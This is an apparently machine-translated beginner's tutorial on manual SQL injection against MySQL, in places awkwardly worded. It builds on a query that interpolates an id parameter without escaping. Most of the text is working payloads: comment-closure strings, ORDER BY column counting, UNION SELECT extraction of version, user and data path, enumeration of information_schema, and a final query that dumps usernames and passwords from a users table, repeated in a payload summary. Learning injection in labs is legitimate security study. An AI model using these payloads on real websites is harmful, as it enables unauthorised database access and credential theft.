The basic steps of MySQL manual injection and the record of some techniques. When learning manual injection, the articles on the Internet are uneven, resulting in a long time understanding of manual injection has been in a state of little understanding, hereby record this article, let Xiaobai Let us avoid detours. This article is only for manual injection of Xiaobai, and Da Niu bypasses light spray.
step
Comment or closing statement
First look at the next basic SQL statement query source code:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
The following steps use this basic SQL statement by default. Other injection methods change the soup without changing the medicine. Here I just want to sort out the injected steps and key statements.
Quoted statement
id =1 ' and '1' ='1
The SQL statement brought into the source code is:
SELECT * FROM users WHERE id='1 ' and '1' ='1' LIMIT 0,1
Comment after the sentence
Commonly used annotation payload
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
--+ 可以用#替换,url 提交过程中 Url 编码后的#为%23
The SQL statement brought into the source code is:
SELECT * FROM users WHERE id=''or 1=1--+' LIMIT 0,1
In this way, we can see that the following statements are commented out directly. Generally, there are more comments in actual combat.
and verify
Of course, here and verification and or verification are both possible, there is little difference between the two: the page returns to normal
?id=1' and 1=1 --+
?id=1' or 1=2 --+
The page returns abnormally
?id=1' and 1=2 --+
?id=1' or 1=1 --+
If it is found that the page is normal at first and then abnormal, it means that there is injection in the page. Of course, this is the most basic judgment method. When the blind bets later, the delay function is used to observe the return time of the page.
Number of query fields
The number of query fields mainly uses the order by in MySQL to determine the number of fields. Order by generally uses a half-and-half search in mathematics to determine the number of specific fields. This will be very efficient. The following assumes that order by is used to determine the injection of an unknown field. .
?id=1' order by 1 --+ At this time, the page is normal, continue to test with a larger number?id=1' order by 10 --+ At this time, the page returns an error, replace with a smaller number to test?id=1' order by 5 --+ At this time, the page still reports an error, continue to reduce the value test?id=1' order by 3 --+ At this time, the page returns to normal, replace the larger number test?id=1' order by 4 --+ this When the page returns an error, 3 is normal, 4 is wrong, indicating that the number of fields is 3
Determine the number of fields through mathematical search in half.
Joint query
UNION SELECT
Joint query, manual injection of classic sentences, the function is to later UNION
connect our malicious injection sentence and bring it into the database for query. Because the number of fields is:, 3
then the formal statement is as follows:
?id=1' UNION SELECT 1,2,3 --+
This page will not report an error. At this time, the statement we bring into the database is:
The SELECT 1,2,3 statement has no meaning, so the page returns to normal.
But in order to collect information, we have to know the value in the current page, which field in the database is called, and we can deliberately construct a wrong statement to explode the wrong field:
id=-1' UNION SELECT 1,2,3 --+ through id=-1 A negative id value that does not exist to trigger an error id=1' and 1=2 UNION SELECT 1,2,3 --+ through and 1=2 statement to trigger an error id=1' or 1=1 UNION SELECT 1,2,3 --+ or 1=1 statement to trigger an error
It can be seen that the specific field number has been exposed. Here is the explosion 2
and 3
enter the MySQL database to see the field structure of this table:
Perfect structure of the database tables this is verified before the burst error number 2
and 3
, where the figures represent the field, corresponding to field values happen it is: username
and password
.
collect information
The value of the field can be replaced with our malicious statement. The early stage is mainly to collect information, including judging whether the current database is the root user, the version of MySQL, etc. Generally, some MySQL functions are used to collect information to collect this information: MySQL commonly used system functions
version() #MySQL版本
user() #数据库用户名
database() #数据库名
@@datadir #数据库路径
@@version_compile_os #操作系统版本
Query the current database name
id=1' and 1=2 UNION SELECT 1,database(),3 --+
Query MySQL version
id=1' and 1=2 UNION SELECT 1,2,version() --+
Query database user and path
id=1' and 1=2 UNION SELECT 1,user(),@@datadir --+
Query database
Query the database. Generally speaking, what we need to check when injecting is the current database, but sometimes the root authority is NB and you can see the contents of the database outside the website database. Query the current database
id=1' and 1=2 UNION SELECT 1,2,database() --+
Get the current database name as: security
Query all databases Sometimes you can't help but want to see the contents of other databases, you can use this statement to query all databases:
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+
group_concat
Functions are used here . Since the positioning of this article is a manual injection step, I will not explain the usage of such functions in detail here. To understand related functions, please refer to my other article: MySQL manual injection of common string functions
Lookup table name
database query database
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
Single quotes-database
The database()
function here performs a database query, because we have found the current database security
, so you can also write it here. Use single quotes to enclose the name of the database 'security'
:
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+
hex encoding database
If it is troublesome to enclose single quotes, what a coincidence! There is a more troublesome method here, which is to hex
encode the database name . Use the HackBar
plug-in that comes with Firefox to quickly hex
code:
hex
Adding before the encoding 0x
indicates that this is a hexadecimal encoding.
The current mainstream concentration method is roughly like this, and there are some hex first and then unhex group_concat
writing methods, which are said to be able to bypass the waf class. It is not very commonly used here and will not be repeated here. In the same way, these methods can also be used in the column names of the query database, and you must learn to learn and use.
Query column name
The information currently collected is:
Database name: securuty database table name: emails,referers,uagents,users
As a hacker, you must have a keen sense of smell (manual dog). Generally, we will continue to guess the users
tables in these tables. The following method is similar to querying the database to query the column names. The principle is MySQL
that information_schema
there will be some relevant information of all databases in the next one :
Now that it's all here, here is a list of the more critical information_schema
information in MySQL manual injection :
Record information about the database
schemata
The schema_name
record in the table under the information_schema database is 数据库
the name of each :
Not only is tables
the table_schema
table under the database recorded here , but also the name of each database:
Record information about the data sheet
tables
The table_name
record in the table under the information_schema database is 数据表
the name of each :
Here is the gorgeous dividing line. I was surprised. In the blink of an eye, I couldn’t help but pull so much. Let’s not talk about it directly to query the column names under the users table.
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+
Query field value
Since there is a lot of verbosity in the query column names, the core principles have been written on it, here is a simple payload:
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+
Now that you know the database, table name, and field name, you can query directly without using the information_schanem
database.
Brief collation
I originally planned to write it in the previous steps, but I couldn't help writing too much. So I opened a title for a brief collation:
order by --+ Determine the number of fields
union select --+ Union query to collect information
id=1' and 1=2 UNION SELECT 1,2,database() --+ Query the current database
id=1' and 1=2 UNION SELECT 1,2,group_concat(schema_name) from information_schema.schemata --+Query all databases
id=1' and 1=2 UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+ 查询表名
id=1' and 1=2 UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+ 查询列名
id=1' and 1=2 UNION SELECT 1,2,group_concat(id,username,password) from users --+ query field value